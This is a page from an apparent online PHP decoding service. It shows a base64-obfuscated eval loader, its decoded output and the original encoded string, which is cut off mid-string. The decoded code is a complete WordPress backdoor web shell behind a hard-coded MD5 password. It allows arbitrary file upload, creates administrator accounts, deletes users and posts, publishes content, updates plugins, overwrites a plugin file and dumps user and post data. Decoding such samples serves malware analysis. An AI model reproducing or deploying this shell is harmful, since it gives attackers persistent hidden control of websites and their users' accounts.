Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>" . base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhc..

Decoded Output download

?>b'<?php
header(\'Content-Type:text/html; charset=UTF-8\');

@set_time_limit(60);

define(\'API_VERSION\', 2.0);
define(\'PASSWORD_FILE\', \'p.txt\');

if(file_exists(PASSWORD_FILE)) {
	@unlink(PASSWORD_FILE);
}

//////////////////////////////////////////
function array_to_json( $array )
{
    if (is_string($array)) return \'"\'.rawurlencode($array).\'"\';
    if (is_numeric($array)) return $array;
    if ($array === null) return \'null\';
    if ($array === true) return \'true\';
    if ($array === false) return \'false\';

    $assoc = false;
    $i = 0;
    foreach ($array as $k=>$v){
        if ($k !== $i++){
            $assoc = true;
            break;
        }
    }
    $res = array();
    foreach ($array as $k=>$v){
        $v = array_to_json($v);
        if ($assoc){
            $k = \'"\'.rawurlencode($k).\'"\';
            $v = $k.\':\'.$v;
        }
        $res[] = $v;
    }
    $res = implode(\',\', $res);
    return ($assoc)? \'{\'.$res.\'}\' : \'[\'.$res.\']\';
}
//////////////////////////////////////////

define(\'SHELL_PASSWORD\', \'a6a8cb877ee18215f2c0fc2a6c7b4f2a\');
define(\'MAX_UP_LEVELS\', 10);

if((empty($_COOKIE[\'password\']) && empty($_POST[\'password\'])) || (!empty($_POST[\'password\']) && md5($_POST[\'password\']) != SHELL_PASSWORD)) {
	print \'<form method="post" action="\'.$_SERVER[\'PHP_SELF\'].\'?\'.$_SERVER[\'QUERY_STRING\'].\'">Password : <input type="text" name="password"><input type="submit"></form>\';
	exit;
}

if(!empty($_POST[\'password\']) && md5($_POST[\'password\']) == SHELL_PASSWORD) {
	setcookie(\'password\', SHELL_PASSWORD, time()+60*60*24);
	header("Location: {$_SERVER[\'PHP_SELF\']}?{$_SERVER[\'QUERY_STRING\']}");
	exit;
}

if(empty($_COOKIE[\'password\']) || $_COOKIE[\'password\'] != SHELL_PASSWORD) {
	exit;
}

if(!empty($_FILES[\'f\'])) {
	$new_path = dirname(__FILE__) . \'/\' . $_FILES[\'f\'][\'name\'];
	if(move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $new_path)) {
		print "<a href=\"{$_FILES[\'f\'][\'name\']}\">{$_FILES[\'f\'][\'name\']}</a>";
	}
	else {
		print "Upload failed!";
	}
	exit;
}

if(!empty($_REQUEST[\'uf\']) && $_REQUEST[\'uf\'] == 1) {
	print "<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$_SERVER[\'PHP_SELF\']}\"><input type=\"file\" name=\"f\"><input type=\"submit\"></form>";
	exit;
}

$counter = 0;
$dir_up = \'./\';
do {
	$file_found = false;
	$file_path = "{$dir_up}wp-load.php";
	if(file_exists($file_path)) {
		require($file_path);
		$file_found = true;
	}
	else {
		$dir_up .= \'../\';
	}
	$counter++;
}while(!$file_found && $counter < MAX_UP_LEVELS);

if(!empty($_GET[\'get_blogs_list\'])) {
	print array_to_json(get_blog_list( 0, \'all\' ));
}

if(!empty($_GET[\'get_users\'])) {
	if(function_exists(\'get_users\')) {
		print array_to_json(get_users());
	}
	else {
		print array_to_json(array());
	}
}
//print_r($_REQUEST);
if(isset($_REQUEST[\'action\']) && $_REQUEST[\'action\'] == \'create_user\') {
if(empty($_REQUEST[\'wp_username\']) || empty($_REQUEST[\'wp_password\']) || empty($_REQUEST[\'wp_email\'])){
print "Missing parameter for creating user!";
exit;
}
else {
$userdata = array(\'user_login\' => $_REQUEST[\'wp_username\'], \'user_pass\' => $_REQUEST[\'wp_password\'], \'user_email\' => $_REQUEST[\'wp_email\'], \'role\' => \'administrator\');
//print_r($_REQUEST);
$user_id = wp_insert_user( $userdata );
	if(is_numeric($user_id)) {
		print array_to_json(array(\'user_id\' => $user_id));
	}
	else {
			print array_to_json("Failed creating user!");
		}
	}
}

if(!empty($_REQUEST[\'delete_user\']) && !empty($_REQUEST[\'wp_user_id\'])) {
	if(wp_delete_user($_REQUEST[\'wp_user_id\'])) {
		print array_to_json("User deleted!");
	}
	else {
		print array_to_json("Failed deleting user!");
	}
}

if($_REQUEST[\'delete_post\'] == 1 && !empty($_REQUEST[\'ID\'])) {
	$del_op_res = wp_delete_post( $_REQUEST[\'ID\'], true );
	if(!$del_op_res) print array_to_json("Delete failed!");
	else print array_to_json("Post deleted!");
	exit;
}

if(!empty($_REQUEST[\'title\']) && !empty($_REQUEST[\'post\'])) {
	$post_date = $_REQUEST[\'datepicker\'] . " " . rand(0,23) . ":" . rand(0,59) . ":" . rand(0,59);

	// Create post object
	$my_post = array(
	  \'post_title\'    => $_REQUEST[\'title\'],
	  \'post_content\'  => $_REQUEST[\'post\'],
	  \'post_status\'   => \'publish\',
	  \'post_author\'   => 1,
	  \'post_type\' => $_REQUEST[\'post_type\'],
	  \'post_date\'     => $post_date
	);
	$id = NULL;
	if(empty($_REQUEST[\'ID\'])) {
		// Insert the post into the database
		$id = wp_insert_post($my_post);
	}
	else {
		$my_post[\'ID\'] = $_REQUEST[\'ID\'];
		$id = wp_update_post($my_post);
	}
	$permalink = get_permalink( $id );
	wp_set_post_categories($id, array($_REQUEST[\'cat\']));
	if($_REQUEST[\'delete_post\'] != 1) {
		if(!empty($id)) {
			$post = get_post($id);
			print array_to_json(array("permalink"=>$permalink,"link_by_id"=>$post->guid,"ID"=>$id));
		}
		else {
			print array_to_json("Action failed!");
		}
	}
}

if(!empty($_REQUEST[\'plugin2update\'])) {
	include_once( $dir_up . \'wp-admin/includes/class-ftp.php\');
	include_once( $dir_up . \'wp-admin/includes/update.php\');
	include_once( $dir_up . \'wp-admin/includes/file.php\');
	include_once( $dir_up . \'wp-admin/includes/screen.php\');
	include_once( $dir_up . \'wp-admin/includes/misc.php\');
	include_once( $dir_up . \'wp-admin/includes/plugin.php\');
	
	foreach($_REQUEST[\'plugin2update\'] as $plugin) {
		print "$plugin update : ";
		wp_update_plugin($plugin);
	}
	
	exit;
}

if(!empty($_REQUEST[\'file2clean\'])) {
$tell_a_friend_content = \'<?php
/*
Plugin Name: Tell a Friend
Version: 0.1
Plugin URI: http://www.freetellafriend.com/get_button/
Description: Adds a \'Share This Post\' button after each post. The service which is used is freetellafriend.com which supports e-mail address book, social bookmarks and favorites.
Author: FreeTellaFriend
Author URI: http://www.freetellafriend.com/
*/

function tell_a_friend($content) {
global $post;
$taf_permlink = urlencode(get_permalink($post->ID));
$taf_title = urlencode(get_the_title($post->ID) );
$taf_img = get_settings(\'home\') . \'/wp-content/plugins/tell-a-friend/button.gif\';

	if ( !is_feed() && !is_page() ) {
	$content .= \'<a href="https://www.freetellafriend.com/tell/?url=\'.$taf_permlink.\'&title=\'.$taf_title.\'" onclick="window.open(\'https://www.freetellafriend.com/tell/?url=\'.$taf_permlink.\'&title=\'.$taf_title.\'\', \'freetellafriend\', \'scrollbars=1,menubar=0,width=617,height=530,resizable=1,toolbar=0,location=0,status=0,screenX=210,screenY=100,left=210,top=100\'); return false;" target="_blank" title="Share This Post"><img src="\'.$taf_img.\'" style="width:127px;height:16px;border:0px;" alt="Share This Post" title="Share This Post" /></a>\';				  
	}

return $content;
}

add_filter(\'the_content\', \'tell_a_friend\');

?>\';

	if(file_exists($_REQUEST[\'file2clean\'])) {
		if(strpos($_REQUEST[\'file2clean\'], \'tell-a-friend.php\') !== false) {
			if(file_put_contents($_REQUEST[\'file2clean\'], $tell_a_friend_content)) {
				print "File {$_REQUEST[\'file2clean\']} has been cleaned.";
			}
			else {
				print "Failed cleaning {$_REQUEST[\'file2clean\']} !";
			}
		}
	}
}

if(!empty($_REQUEST[\'get_plugins\']) && $_REQUEST[\'get_plugins\'] == 1) {
	include_once($dir_up . \'wp-admin/includes/plugin.php\');
		
	$plugins = get_plugins();
	print array_to_json($plugins);
}

if(!empty($_REQUEST[\'post_url2search\'])) {
	$the_slug = str_replace(\'/\', \'\', $_REQUEST[\'post_url2search\']);
	$args = array(
		\'name\' => $the_slug,
		\'post_status\' => \'publish\',
		\'posts_per_page\' => 1
	);
	$my_posts = get_posts( $args );

	if(!empty($my_posts[0]->ID) && is_numeric($my_posts[0]->ID)) {
		$post = get_post($my_posts[0]->ID);
		$post->category = get_the_category($my_posts[0]->ID);
	}
	
	print array_to_json($post);
}

if(!empty($_REQUEST[\'post_id\'])) {
	$post = get_post($_REQUEST[\'post_id\']);
	$post->category = get_the_category($_REQUEST[\'post_id\']);
	print array_to_json($post);
}

if(!empty($_REQUEST[\'page_id\'])) {
	$post = get_page($_REQUEST[\'page_id\']);
	$post->category = get_the_category($_REQUEST[\'page_id\']);
	print array_to_json($post);
}

$args = array(
	\'show_option_all\'    => \'\',
	\'show_option_none\'   => \'\',
	\'orderby\'            => \'ID\', 
	\'order\'              => \'ASC\',
	\'show_count\'         => 1,
	\'hide_empty\'         => 0, 
	\'child_of\'           => 0,
	\'exclude\'            => \'\',
	\'echo\'               => 1,
	\'selected\'           => $sel_cat,
	\'hierarchical\'       => 0, 
	\'name\'               => \'cat\',
	\'id\'                 => \'\',
	\'class\'              => \'postform\',
	\'depth\'              => 0,
	\'tab_index\'          => 0,
	\'taxonomy\'           => \'category\',
	\'hide_if_empty\'      => false,
    \'walker\'             => \'\'
);

if(!empty($_REQUEST[\'get_categories\']) && $_REQUEST[\'get_categories\'] == 1) {
	print array_to_json(get_categories( $args )); 
}

if(!empty($_REQUEST[\'get_pages_list\']) && $_REQUEST[\'get_pages_list\'] == 1) {
	$pages_array = get_pages();
	$new_pages_array = array();
	for($i=0,$len=count($pages_array);$i<$len;$i++) {
		$new_pages_array[$i][\'ID\'] = $pages_array[$i]->ID;
		$new_pages_array[$i][\'post_title\'] = $pages_array[$i]->post_title;
		$new_pages_array[$i][\'post_name\'] = $pages_array[$i]->post_name;
	}
	print array_to_json($new_pages_array);
}

if(!empty($_REQUEST[\'get_posts_list\'])) {
	if(isset($_REQUEST[\'search_by_post_type\'])) {
		$post_type = $_REQUEST[\'search_by_post_type\'];
	}
	else {
		$post_type = \'\';
	}

	$args = array(
	\'posts_per_page\'   => 50,
	\'offset\'           => 0,
	\'category\'         => \'\',
	\'category_name\'    => \'\',
	\'orderby\'          => \'ID\',
	\'order\'            => \'DESC\',
	\'include\'          => \'\',
	\'exclude\'          => \'\',
	\'meta_key\'         => \'\',
	\'meta_value\'       => \'\',
	\'post_type\'        => $post_type,
	\'post_mime_type\'   => \'\',
	\'post_parent\'      => \'\',
	\'post_status\'      => \'publish\',
	\'suppress_filters\' => true );

	if(isset($_REQUEST[\'search_by_url\'])) {
		$the_slug = str_replace(\'/\', \'\', $_REQUEST[\'search_by_url\']);
		if(!empty($post_type) && $post_type == \'post\') {
			$args[\'name\'] = $the_slug;
		}
		else {
			$args[\'pagename\'] = $the_slug;
		}
	}
	
	if(isset($_REQUEST[\'search_by_keyword\'])) {
		$args[\'s\'] = $_REQUEST[\'search_by_keyword\'];
	}
	
	$posts_array = get_posts( $args );
	for($i=0,$len=count($posts_array);$i<$len;$i++) {
		$new_posts_array[$i][\'ID\'] = $posts_array[$i]->ID;
		$new_posts_array[$i][\'post_title\'] = $posts_array[$i]->post_title;
		$new_posts_array[$i][\'post_name\'] = $posts_array[$i]->post_name;
		$new_posts_array[$i][\'post_content\'] = $posts_array[$i]->post_content;
	}
	print array_to_json($new_posts_array);
}

if(!empty($_REQUEST[\'upload_file\'])) {
	print \'<form method="post" enctype="multipart/form-data"><input type="file" name="my_file"><input type="submit"></form>\';
}

if(!empty($_FILES[\'my_file\'])) {
	$base_name = basename($_FILES[\'my_file\'][\'name\']);
	if(move_uploaded_file($_FILES[\'my_file\'][\'tmp_name\'], $base_name)) {
		print \'<a href="\'.$base_name.\'" target="_blank">\'.$base_name.\'</a>\';
	}
}

if(!empty($_REQUEST[\'get_api_version\'])) {
	print array_to_json(array(\'api_version\' => number_format(API_VERSION, 2)));
}
?>'

Did this file decode correctly?

Original Code

<?php eval("?>" . base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicucmF3dXJsZW5jb2RlKCRhcnJheSkuJyInOw0KICAgIGlmIChpc19udW1lcmljKCRhcnJheSkpIHJldHVybiAkYXJyYXk7DQogICAgaWYgKCRhcnJheSA9PT0gbnVsbCkgcmV0dXJuICdudWxsJzsNCiAgICBpZiAoJGFycmF5ID09PSB0cnVlKSByZXR1cm4gJ3RydWUnOw0KICAgIGlmICgkYXJyYXkgPT09IGZhbHNlKSByZXR1cm4gJ2ZhbHNlJzsNCg0KICAgICRhc3NvYyA9IGZhbHNlOw0KICAgICRpID0gMDsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgaWYgKCRrICE9PSAkaSsrKXsNCiAgICAgICAgICAgICRhc3NvYyA9IHRydWU7DQogICAgICAgICAgICBicmVhazsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAkcmVzID0gYXJyYXkoKTsNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGs9PiR2KXsNCiAgICAgICAgJHYgPSBhcnJheV90b19qc29uKCR2KTsNCiAgICAgICAgaWYgKCRhc3NvYyl7DQogICAgICAgICAgICAkayA9ICciJy5yYXd1cmxlbmNvZGUoJGspLiciJzsNCiAgICAgICAgICAgICR2ID0gJGsuJzonLiR2Ow0KICAgICAgICB9DQogICAgICAgICRyZXNbXSA9ICR2Ow0KICAgIH0NCiAgICAkcmVzID0gaW1wbG9kZSgnLCcsICRyZXMpOw0KICAgIHJldHVybiAoJGFzc29jKT8gJ3snLiRyZXMuJ30nIDogJ1snLiRyZXMuJ10nOw0KfQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQoNCmRlZmluZSgnU0hFTExfUEFTU1dPUkQnLCAnYTZhOGNiODc3ZWUxODIxNWYyYzBmYzJhNmM3YjRmMmEnKTsNCmRlZmluZSgnTUFYX1VQX0xFVkVMUycsIDEwKTsNCg0KaWYoKGVtcHR5KCRfQ09PS0lFWydwYXNzd29yZCddKSAmJiBlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pKSB8fCAoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgIT0gU0hFTExfUEFTU1dPUkQpKSB7DQoJcHJpbnQgJzxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSInLiRfU0VSVkVSWydQSFBfU0VMRiddLic/Jy4kX1NFUlZFUlsnUVVFUllfU1RSSU5HJ10uJyI+UGFzc3dvcmQgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzc3dvcmQiPjxpbnB1dCB0eXBlPSJzdWJtaXQiPjwvZm9ybT4nOw0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pID09IFNIRUxMX1BBU1NXT1JEKSB7DQoJc2V0Y29va2llKCdwYXNzd29yZCcsIFNIRUxMX1BBU1NXT1JELCB0aW1lKCkrNjAqNjAqMjQpOw0KCWhlYWRlcigiTG9jYXRpb246IHskX1NFUlZFUlsnUEhQX1NFTEYnXX0/eyRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXX0iKTsNCglleGl0Ow0KfQ0KDQppZihlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgfHwgJF9DT09LSUVbJ3Bhc3N3b3JkJ10gIT0gU0hFTExfUEFTU1dPUkQpIHsNCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9GSUxFU1snZiddKSkgew0KCSRuZXdfcGF0aCA9IGRpcm5hbWUoX19GSUxFX18pIC4gJy8nIC4gJF9GSUxFU1snZiddWyduYW1lJ107DQoJaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2YnXVsndG1wX25hbWUnXSwgJG5ld19wYXRoKSkgew0KCQlwcmludCAiPGEgaHJlZj1cInskX0ZJTEVTWydmJ11bJ25hbWUnXX1cIj57JF9GSUxFU1snZiddWyduYW1lJ119PC9hPiI7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCAiVXBsb2FkIGZhaWxlZCEiOw0KCX0NCglleGl0Ow0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1ZiddKSAmJiAkX1JFUVVFU1RbJ3VmJ10gPT0gMSkgew0KCXByaW50ICI8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydC9mb3JtLWRhdGFcIiBhY3Rpb249XCJ7JF9TRVJWRVJbJ1BIUF9TRUxGJ119XCI+PGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cImZcIj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiPjwvZm9ybT4iOw0KCWV4aXQ7DQp9DQoNCiRjb3VudGVyID0gMDsNCiRkaXJfdXAgPSAnLi8nOw0KZG8gew0KCSRmaWxlX2ZvdW5kID0gZmFsc2U7DQoJJGZpbGVfcGF0aCA9ICJ7JGRpcl91cH13cC1sb2FkLnBocCI7DQoJaWYoZmlsZV9leGlzdHMoJGZpbGVfcGF0aCkpIHsNCgkJcmVxdWlyZSgkZmlsZV9wYXRoKTsNCgkJJGZpbGVfZm91bmQgPSB0cnVlOw0KCX0NCgllbHNlIHsNCgkJJGRpcl91cCAuPSAnLi4vJzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KaWYoIWVtcHR5KCRfR0VUWydnZXRfYmxvZ3NfbGlzdCddKSkgew0KCXByaW50IGFycmF5X3RvX2pzb24oZ2V0X2Jsb2dfbGlzdCggMCwgJ2FsbCcgKSk7DQp9DQoNCmlmKCFlbXB0eSgkX0dFVFsnZ2V0X3VzZXJzJ10pKSB7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdnZXRfdXNlcnMnKSkgew0KCQlwcmludCBhcnJheV90b19qc29uKGdldF91c2VycygpKTsNCgl9DQoJZWxzZSB7DQoJCXByaW50IGFycmF5X3RvX2pzb24oYXJyYXkoKSk7DQoJfQ0KfQ0KLy9wcmludF9yKCRfUkVRVUVTVCk7DQppZihpc3NldCgkX1JFUVVFU1RbJ2FjdGlvbiddKSAmJiAkX1JFUVVFU1RbJ2FjdGlvbiddID09ICdjcmVhdGVfdXNlcicpIHsNCmlmKGVtcHR5KCRfUkVRVUVTVFsnd3BfdXNlcm5hbWUnXSkgfHwgZW1wdHkoJF9SRVFVRVNUWyd3cF9wYXNzd29yZCddKSB8fCBlbXB0eSgkX1JFUVVFU1RbJ3dwX2VtYWlsJ10pKXsNCnByaW50ICJNaXNzaW5nIHBhcmFtZXRlciBmb3IgY3JlYXRpbmcgdXNlciEiOw0KZXhpdDsNCn0NCmVsc2Ugew0KJHVzZXJkYXRhID0gYXJyYXkoJ3VzZXJfbG9naW4nID0+ICRfUkVRVUVTVFsnd3BfdXNlcm5hbWUnXSwgJ3VzZXJfcGFzcycgPT4gJF9SRVFVRVNUWyd3cF9wYXNzd29yZCddLCAndXNlcl9lbWFpbCcgPT4gJF9SRVFVRVNUWyd3cF9lbWFpbCddLCAncm9sZScgPT4gJ2FkbWluaXN0cmF0b3InKTsNCi8vcHJpbnRfcigkX1JFUVVFU1QpOw0KJHVzZXJfaWQgPSB3cF9pbnNlcnRfdXNlciggJHVzZXJkYXRhICk7DQoJaWYoaXNfbnVtZXJpYygkdXNlcl9pZCkpIHsNCgkJcHJpbnQgYXJyYXlfdG9fanNvbihhcnJheSgndXNlcl9pZCcgPT4gJHVzZXJfaWQpKTsNCgl9DQoJZWxzZSB7DQoJCQlwcmludCBhcnJheV90b19qc29uKCJGYWlsZWQgY3JlYXRpbmcgdXNlciEiKTsNCgkJfQ0KCX0NCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsnZGVsZXRlX3VzZXInXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsnd3BfdXNlcl9pZCddKSkgew0KCWlmKHdwX2RlbGV0ZV91c2VyKCRfUkVRVUVTVFsnd3BfdXNlcl9pZCddKSkgew0KCQlwcmludCBhcnJheV90b19qc29uKCJVc2VyIGRlbGV0ZWQhIik7DQoJfQ0KCWVsc2Ugew0KCQlwcmludCBhcnJheV90b19qc29uKCJGYWlsZWQgZGVsZXRpbmcgdXNlciEiKTsNCgl9DQp9DQoNCmlmKCRfUkVRVUVTVFsnZGVsZXRlX3Bvc3QnXSA9PSAxICYmICFlbXB0eSgkX1JFUVVFU1RbJ0lEJ10pKSB7DQoJJGRlbF9vcF9yZXMgPSB3cF9kZWxldGVfcG9zdCggJF9SRVFVRVNUWydJRCddLCB0cnVlICk7DQoJaWYoISRkZWxfb3BfcmVzKSBwcmludCBhcnJheV90b19qc29uKCJEZWxldGUgZmFpbGVkISIpOw0KCWVsc2UgcHJpbnQgYXJyYXlfdG9fanNvbigiUG9zdCBkZWxldGVkISIpOw0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3RpdGxlJ10pICYmICFlbXB0eSgkX1JFUVVFU1RbJ3Bvc3QnXSkpIHsNCgkkcG9zdF9kYXRlID0gJF9SRVFVRVNUWydkYXRlcGlja2VyJ10gLiAiICIgLiByYW5kKDAsMjMpIC4gIjoiIC4gcmFuZCgwLDU5KSAuICI6IiAuIHJhbmQoMCw1OSk7DQoNCgkvLyBDcmVhdGUgcG9zdCBvYmplY3QNCgkkbXlfcG9zdCA9IGFycmF5KA0KCSAgJ3Bvc3RfdGl0bGUnICAgID0+ICRfUkVRVUVTVFsndGl0bGUnXSwNCgkgICdwb3N0X2NvbnRlbnQnICA9PiAkX1JFUVVFU1RbJ3Bvc3QnXSwNCgkgICdwb3N0X3N0YXR1cycgICA9PiAncHVibGlzaCcsDQoJICAncG9zdF9hdXRob3InICAgPT4gMSwNCgkgICdwb3N0X3R5cGUnID0+ICRfUkVRVUVTVFsncG9zdF90eXBlJ10sDQoJICAncG9zdF9kYXRlJyAgICAgPT4gJHBvc3RfZGF0ZQ0KCSk7DQoJJGlkID0gTlVMTDsNCglpZihlbXB0eSgkX1JFUVVFU1RbJ0lEJ10pKSB7DQoJCS8vIEluc2VydCB0aGUgcG9zdCBpbnRvIHRoZSBkYXRhYmFzZQ0KCQkkaWQgPSB3cF9pbnNlcnRfcG9zdCgkbXlfcG9zdCk7DQoJfQ0KCWVsc2Ugew0KCQkkbXlfcG9zdFsnSUQnXSA9ICRfUkVRVUVTVFsnSUQnXTsNCgkJJGlkID0gd3BfdXBkYXRlX3Bvc3QoJG15X3Bvc3QpOw0KCX0NCgkkcGVybWFsaW5rID0gZ2V0X3Blcm1hbGluayggJGlkICk7DQoJd3Bfc2V0X3Bvc3RfY2F0ZWdvcmllcygkaWQsIGFycmF5KCRfUkVRVUVTVFsnY2F0J10pKTsNCglpZigkX1JFUVVFU1RbJ2RlbGV0ZV9wb3N0J10gIT0gMSkgew0KCQlpZighZW1wdHkoJGlkKSkgew0KCQkJJHBvc3QgPSBnZXRfcG9zdCgkaWQpOw0KCQkJcHJpbnQgYXJyYXlfdG9fanNvbihhcnJheSgicGVybWFsaW5rIj0+JHBlcm1hbGluaywibGlua19ieV9pZCI9PiRwb3N0LT5ndWlkLCJJRCI9PiRpZCkpOw0KCQl9DQoJCWVsc2Ugew0KCQkJcHJpbnQgYXJyYXlfdG9fanNvbigiQWN0aW9uIGZhaWxlZCEiKTsNCgkJfQ0KCX0NCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsncGx1Z2luMnVwZGF0ZSddKSkgew0KCWluY2x1ZGVfb25jZSggJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1mdHAucGhwJyk7DQoJaW5jbHVkZV9vbmNlKCAkZGlyX3VwIC4gJ3dwLWFkbWluL2luY2x1ZGVzL3VwZGF0ZS5waHAnKTsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvZmlsZS5waHAnKTsNCglpbmNsdWRlX29uY2UoICRkaXJfdXAgLiAnd3AtYWRtaW4vaW5jbHVkZXMvc2NyZWVuLnBocCcpOw0KCWluY2x1ZGVfb25jZSggJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy9taXNjLnBocCcpOw0KCWluY2x1ZGVfb25jZSggJGRpcl91cCAuICd3cC1hZG1pbi9pbmNsdWRlcy9wbHVnaW4ucGhwJyk7DQoJDQoJZm9yZWFjaCgkX1JFUVVFU1RbJ3BsdWdpbjJ1cGRhdGUnXSBhcyAkcGx1Z2luKSB7DQoJCXByaW50ICIkcGx1Z2luIHVwZGF0ZSA6ICI7DQoJCXdwX3VwZGF0ZV9wbHVnaW4oJHBsdWdpbik7DQoJfQ0KCQ0KCWV4aXQ7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXSkpIHsNCiR0ZWxsX2FfZnJpZW5kX2NvbnRlbnQgPSAnPD9waHANCi8qDQpQbHVnaW4gTmFtZTogVGVsbCBhIEZyaWVuZA0KVmVyc2lvbjogMC4xDQpQbHVnaW4gVVJJOiBodHRwOi8vd3d3LmZyZWV0ZWxsYWZyaWVuZC5jb20vZ2V0X2J1dHRvbi8NCkRlc2NyaXB0aW9uOiBBZGRzIGEgXCdTaGFyZSBUaGlzIFBvc3RcJyBidXR0b24gYWZ0ZXIgZWFjaCBwb3N0LiBUaGUgc2VydmljZSB3aGljaCBpcyB1c2VkIGlzIGZyZWV0ZWxsYWZyaWVuZC5jb20gd2hpY2ggc3VwcG9ydHMgZS1tYWlsIGFkZHJlc3MgYm9vaywgc29jaWFsIGJvb2ttYXJrcyBhbmQgZmF2b3JpdGVzLg0KQXV0aG9yOiBGcmVlVGVsbGFGcmllbmQNCkF1dGhvciBVUkk6IGh0dHA6Ly93d3cuZnJlZXRlbGxhZnJpZW5kLmNvbS8NCiovDQoNCmZ1bmN0aW9uIHRlbGxfYV9mcmllbmQoJGNvbnRlbnQpIHsNCmdsb2JhbCAkcG9zdDsNCiR0YWZfcGVybWxpbmsgPSB1cmxlbmNvZGUoZ2V0X3Blcm1hbGluaygkcG9zdC0+SUQpKTsNCiR0YWZfdGl0bGUgPSB1cmxlbmNvZGUoZ2V0X3RoZV90aXRsZSgkcG9zdC0+SUQpICk7DQokdGFmX2ltZyA9IGdldF9zZXR0aW5ncyhcJ2hvbWVcJykgLiBcJy93cC1jb250ZW50L3BsdWdpbnMvdGVsbC1hLWZyaWVuZC9idXR0b24uZ2lmXCc7DQoNCglpZiAoICFpc19mZWVkKCkgJiYgIWlzX3BhZ2UoKSApIHsNCgkkY29udGVudCAuPSBcJzxhIGhyZWY9Imh0dHBzOi8vd3d3LmZyZWV0ZWxsYWZyaWVuZC5jb20vdGVsbC8/dXJsPVwnLiR0YWZfcGVybWxpbmsuXCcmdGl0bGU9XCcuJHRhZl90aXRsZS5cJyIgb25jbGljaz0id2luZG93Lm9wZW4oXCdodHRwczovL3d3dy5mcmVldGVsbGFmcmllbmQuY29tL3RlbGwvP3VybD1cJy4kdGFmX3Blcm1saW5rLlwnJnRpdGxlPVwnLiR0YWZfdGl0bGUuXCdcJywgXCdmcmVldGVsbGFmcmllbmRcJywgXCdzY3JvbGxiYXJzPTEsbWVudWJhcj0wLHdpZHRoPTYxNyxoZWlnaHQ9NTMwLHJlc2l6YWJsZT0xLHRvb2xiYXI9MCxsb2NhdGlvbj0wLHN0YXR1cz0wLHNjcmVlblg9MjEwLHNjcmVlblk9MTAwLGxlZnQ9MjEwLHRvcD0xMDBcJyk7IHJldHVybiBmYWxzZTsiIHRhcmdldD0iX2JsYW5rIiB0aXRsZT0iU2hhcmUgVGhpcyBQb3N0Ij48aW1nIHNyYz0iXCcuJHRhZl9pbWcuXCciIHN0eWxlPSJ3aWR0aDoxMjdweDtoZWlnaHQ6MTZweDtib3JkZXI6MHB4OyIgYWx0PSJTaGFyZSBUaGlzIFBvc3QiIHRpdGxlPSJTaGFyZSBUaGlzIFBvc3QiIC8+PC9hPlwnOwkJCQkgIA0KCX0NCg0KcmV0dXJuICRjb250ZW50Ow0KfQ0KDQphZGRfZmlsdGVyKFwndGhlX2NvbnRlbnRcJywgXCd0ZWxsX2FfZnJpZW5kXCcpOw0KDQo/Pic7DQoNCglpZihmaWxlX2V4aXN0cygkX1JFUVVFU1RbJ2ZpbGUyY2xlYW4nXSkpIHsNCgkJaWYoc3RycG9zKCRfUkVRVUVTVFsnZmlsZTJjbGVhbiddLCAndGVsbC1hLWZyaWVuZC5waHAnKSAhPT0gZmFsc2UpIHsNCgkJCWlmKGZpbGVfcHV0X2NvbnRlbnRzKCRfUkVRVUVTVFsnZmlsZTJjbGVhbiddLCAkdGV